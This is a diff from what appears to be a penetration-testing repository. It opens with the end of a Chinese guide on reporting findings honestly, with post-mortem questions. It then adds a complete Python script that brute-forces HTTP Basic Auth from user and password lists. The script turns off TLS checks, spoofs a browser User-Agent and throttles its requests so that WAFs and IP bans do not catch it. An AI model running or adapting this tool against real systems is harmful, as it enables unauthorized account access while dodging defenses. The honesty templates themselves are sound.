| 快速大量请求后被封 | 触发 WAF/风控 |
|
|
86
|
+
|
|
87
|
+
## 诚实表述模板
|
|
88
|
+
|
|
89
|
+
```
|
|
90
|
+
❌ "我拿到了卡密"
|
|
91
|
+
✅ "服务端返回了激活码并落库,但无法在任何消费端兑换,不是有效凭据"
|
|
92
|
+
|
|
93
|
+
❌ "拿下了后台"
|
|
94
|
+
✅ "发现 /internal/* 未授权可访问,能读统计信息和触发重启,未取得登录凭证"
|
|
95
|
+
|
|
96
|
+
❌ "成功绕过了认证"
|
|
97
|
+
✅ "响应码从500变为200,但未返回token,尚未确认绕过"
|
|
98
|
+
|
|
99
|
+
❌ "破解了生成算法"
|
|
100
|
+
✅ "从样本反推出前缀为时间戳,但该接口本就无鉴权,此发现无实用价值"
|
|
101
|
+
```
|
|
102
|
+
|
|
103
|
+
## 事后复盘必问
|
|
104
|
+
|
|
105
|
+
1. 我宣布成功的那一刻,**验证的是终点还是中间点**?
|
|
106
|
+
2. 如果我错了,**会是什么原因**?我排除过吗?
|
|
107
|
+
3. 有没有可能这**只是看起来像突破**?
|
|
108
|
+
4. 我的结论**可复现**吗?换个环境还成立吗?
|
|
@@ -0,0 +1,48 @@
|
|
|
1
|
+
#!/usr/bin/env python3
|
|
2
|
+
# -*- coding: utf-8 -*-
|
|
3
|
+
"""
|
|
4
|
+
HTTP Basic Auth 爆破(低并发 + 退避,避免触发 WAF/封 IP)
|
|
5
|
+
用法: python3 basicauth_brute.py <url> <userlist> <passlist> [--conc 4] [--delay 0.15]
|
|
6
|
+
"""
|
|
7
|
+
import sys, ssl, base64, time, json, argparse, urllib.request, urllib.error, concurrent.futures
|
|
8
|
+
|
|
9
|
+
UA = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0 Safari/537.36"
|
|
10
|
+
CTX = ssl.create_default_context(); CTX.check_hostname = False; CTX.verify_mode = ssl.CERT_NONE
|
|
11
|
+
|
|
12
|
+
def try_one(url, user, pwd, delay):
|
|
13
|
+
if delay: time.sleep(delay)
|
|
14
|
+
tok = base64.b64encode(f"{user}:{pwd}".encode()).decode()
|
|
15
|
+
r = urllib.request.Request(url, headers={"User-Agent": UA, "Authorization": f"Basic {tok}"})
|
|
16
|
+
try:
|
|
17
|
+
with urllib.request.urlopen(r, timeout=10, context=CTX) as resp:
|
|
18
|
+
return (user, pwd, resp.status, resp.read(200))
|
|
19
|
+
except urllib.error.HTTPError as e:
|
|
20
|
+
return (user, pwd, e.code, b"")
|
|
21
|
+
except Exception as e:
|
|
22
|
+
return (user, pwd, 0, str(e).encode()[:100])
|
|
23
|
+
|
|
24
|
+
def main():
|
|
25
|
+
ap = argparse.ArgumentParser()
|
|
26
|
+
ap.add_argument("url"); ap.add_argument("users"); ap.add_argument("passes")
|
|
27
|
+
ap.add_argument("--conc", type=int, default=4); ap.add_argument("--delay", type=float, default=0.15)
|
|
28
|
+
a = ap.parse_args()
|
|
29
|
+
users = [l.strip() for l in open(a.users) if l.strip()]
|
|
30
|
+
passes = [l.strip() for l in open(a.passes) if l.strip()]
|
|
31
|
+
print(f"[*] {len(users)} users x {len(passes)} passes = {len(users)*len(passes)} attempts", file=sys.stderr)
|
|
32
|
+
n = 0
|
|
33
|
+
with concurrent.futures.ThreadPoolExecutor(max_workers=a.conc) as ex:
|
|
34
|
+
futs = [ex.submit(try_one, a.url, u, p, a.delay) for u in users for p in passes]
|
|
35
|
+
for f in concurrent.futures.as_completed(futs):
|
|
36
|
+
u, p, st, body = f.result()
|
|
37
|
+
n += 1
|
|
38
|
+
if st in (200, 302, 301):
|
|
39
|
+
print(json.dumps({"HIT": True, "user": u, "pass": p, "status": st,
|
|
40
|
+
"body": body.decode("utf-8", "replace")[:150]}))
|
|
41
|
+
elif st not in (401, 0):
|
|
42
|
+
print(json.dumps({"odd": True, "user": u, "pass": p, "status": st}))
|
|
43
|
+
if n % 50 == 0:
|
|
44
|
+
print(f"[*] {n} done", file=sys.stderr)
|
|
45
|
+
print(json.dumps({"done": True, "attempts": n}))
|
|
46
|
+
|
|
47
|
+
if __name__ == "__main__":
|
|
48
|
+
main()
|